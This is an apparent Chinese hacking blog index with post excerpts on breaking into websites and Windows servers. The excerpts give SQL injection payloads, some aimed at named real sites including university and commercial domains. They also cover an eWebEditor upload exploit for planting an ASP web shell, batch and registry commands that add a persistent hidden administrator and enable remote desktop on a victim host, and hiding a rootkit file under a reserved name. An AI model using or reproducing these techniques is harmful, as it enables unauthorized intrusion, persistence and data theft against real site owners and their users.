Swane's blog

摘要： nwu.edu.cn SQL injection 阅读全文

摘要： SQL 注入天书 - ASP 注入漏洞全接触收藏引言随着 B/S 模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的 SQL Injection，即ＳＱＬ注入。 ＳＱＬ注入是从正常的 WWW 端口访问，而且表面看起来跟一般的 Web 页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看 IIS 日志的习惯， 阅读全文

摘要： 一、判断是否可以注入：1. 单引号但如果单引号测试出错，是可以试试and 1=1的，因为一些对SQL注入有一点了解的程序员认为只要把单引号过滤掉就可以了2. 传入参数为数字型时：and 1=1and 1=2可以注入的提示：BOF或EOF，程序未做任何判断提示找不到记录，判断了rs.eof显示内容为空，程序加了on error resume next不可注入的提示：类型转换时出错其他自定义的出错提示3. 传入参数不为数字型时，需要变动一下比如：asp?id=aeo' and '1'='1asp?id=aeo' and '1'='2二 阅读全文

摘要： 对6.X的也管用，对ASP。aspx。JSP。均管用。利用方法：先访问这个地址Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp访问这个地址可以建立个A.ASP的文件夹……再用这个html代码上传。html代码：<form action="http://www.xxx.com/Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp" method=po 阅读全文

摘要： 暴字段长度order by num/*匹配字段and 1=1 union select 1,2,3,4,5…….n/*暴字段位置and 1=2 union select 1,2,3,4,5…..n/*利用内置函数暴数据库信息version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用):and 1=2 union all select version() /*and 1=2 union all select database() /*and 1=2 union all select user() /*操作系统信息：and 1=2 union all se 阅读全文

摘要： 1.判断版本http://www.xxx.xxx/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询2.猜解 字段数目,用order by也可以猜，也可以用union select一个一个的猜解http://www.xxx.xxx/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--3.查看数据库版本及当前用户，http://www.xxx.xxx/document 阅读全文

摘要： weldinfo.net SQL injection 阅读全文

摘要： gz18school.com SQL injection 阅读全文

摘要： analchem.cn SQL injection 阅读全文

摘要： kjc.qau.edu.cn SQL injection 阅读全文

摘要： shmtu.edu.cn SQL injection 阅读全文

摘要： baihe.com SQL injection 阅读全文

摘要： ############################################MYSQL高级注入实例###########################################-----------------------------------系统信息 -------------------------------------------http://www.vulnsite.com/renwu.php?id=10 and 1=2 union select 1,2,version(),4,5××××××× 阅读全文

摘要： 目标站点：http://www.babydaily.com.hk/注入点：http://www.babydaily.com.hk/newsDetail.php?id=53首先，获得信息，加一个单引号提交http://www.babydaily.com.hk/newsDetail.php?id=53’返回如下信息，You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\ 阅读全文

摘要： 今天介绍的这种开终端的方法，绿色，环保，无污染~~不须上传任何文件开启终端的方法适合win2k,xp,2003.本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~在无须传任何文件的情况下开启终端服务。一、win 2k下终端开启终端首先用ECHO写一个3389.reg文件,然后导入到注册表，echo代码如下：echo Windows Registry Editor Version 5.00 >>3389.regecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcac 阅读全文

摘要： site:editor inurl:asp?id inurl:ewebeditornet比如常见的编辑器漏洞有:ewebeditor ewebeditornet fckeditoreditor southidceditor SouthidcEditorbigcneditor一:ewebeditor为例1:默认下载下来的后台: http://www.test.com/ewebeditor/admin_login.asp后台如果能进入:可点击样式管理:standard 拷贝一份(直接修改改不了)在拷贝的一份里加入图片类型( asa aaspsp ) 然后点预览在编辑器里点设计 然后直接上传asa大 阅读全文

摘要： 当碰到一些特殊的站时可以试着用insert注入(如：留言版神马的..前提是必须与数据库交互)首先我们先了解下insert的语法insert into table (column_name_1,column_name_2,column_n) vlaues (value_1,value_2,value_n)当value值数大于column时,数据库就会爆出错误于是当我们在网页中提交a’,null,null,null,null,null);– 如返回错误页面a’,null,null,null,null,null,null);– 如返回正常页面(至于过滤单引号的问题就不在本文讨论范围内了)说明当前表字 阅读全文

摘要： 建立一个别人永远删不掉的管理员用户操作步骤：1、在自己电脑里面建立一个.txt文本文件.2、在里面输入内容@echo offnet user xixi 123456 /add 注释：前面xixi是用户名后面123456是密码；net localgroup administrators xixi /add3、把这个文件保存，更改后缀为xixi.bat 注释：前面名字随便，后面格式一定要是bat；4、把这个文件拷贝到对方电脑C:\WINNT\system32\GroupPolicy\User\Scripts\Logon文件目录下，没有的话自己创建。完成，下次对方电脑无论如何都有这个管理员帐号，删除 阅读全文

摘要： Windows 下不能够以下面这些字样来命名文件/文件夹，包括：“aux”，“com1”“com2”“prn”“con”和“nul”等，但是通过cmd下是可以创建此类文件夹的，使用copy命令即可实现：D:\wwwroot>copy rootkit.asp \\.\D:\\wwwroot\aux.asp已复制 1 个文件。D:\AspWebServer\wwwroot>dir驱动器 D 中的卷没有标签。卷的序列号是 47747.net6-1D29D:\AspWebServer\wwwroot 的目录2010-04-25 14:41 <DIR> .2010-04-25 1 阅读全文

摘要： 上传漏洞拿shell：入侵渗透中用到的一些技巧和思路 1.直接上传asp.asa.jsp.cer.php.aspx.htr.cdx....之类的马，拿到shell. 2.就是在上传时在后缀后面加空格或者加几点，也许也会有惊奇的发现。例：*.asp ,*.asp..。 3.利用双重扩展名上传例如：*.jpg.asa格式(也可以配上第二点一起利用)。 4.gif文件头欺骗 5.同名重复上传也很OK。：入侵渗透中用到的一些技巧和思路入侵渗透中用到的命令，语法：入侵渗透中用到的一些技巧和思路 set,systeminfo,ipconfig,ping,利用这些命令可以收到比较多的系统信息 tasklis 阅读全文

摘要： 利用DBO获得SQL管理权限和系统权限2009-01-08 16:33在一个供求信息发布的网站上测试了一下，页面http://www.xxx.com/new/new.asp?id=49我做了如下测试：(1) http://www.xxx.com/new/new.asp?id=49’ Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误在查询表达式 'ID=49'' 中。/new.asp，行36 (2) ht 阅读全文

摘要： 网上一直流传的后台绕过验证语句是'or'='or'，还有其他语句，例如a' or 'a'='a等，都是先闭合前面，然后构造语句，使到整个SQL语句最终结果为真，我们尝试一下看看 用google就可以快速找到后台页面，语法是：allinurl:adminstrator_login当然，语句是很灵活的，这个大家自己构造，我很快就找到了一个没过滤参数的后台找一个来试试我测试有没有过滤一般都是用admin'来做账号密码，提交后提示语法错误，不是有语法错误提示的就是，有一些是屏蔽了提示的，但同样没有被过滤，所以利用的时候要灵活些，我 阅读全文

摘要： 1.判断有无注入点' ; and 1=1 and 1=22.猜表: 常见的表:admin adminuser user pass password 等..and 0<>(select count(*) from *)and 0<>(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜 阅读全文

摘要： ################################################################################### PHP高级注入实例# Home: www.dis9.com ##################################################################################-----------------------------------系统信息-------------------------------------------http://www.52aysc.com/ 阅读全文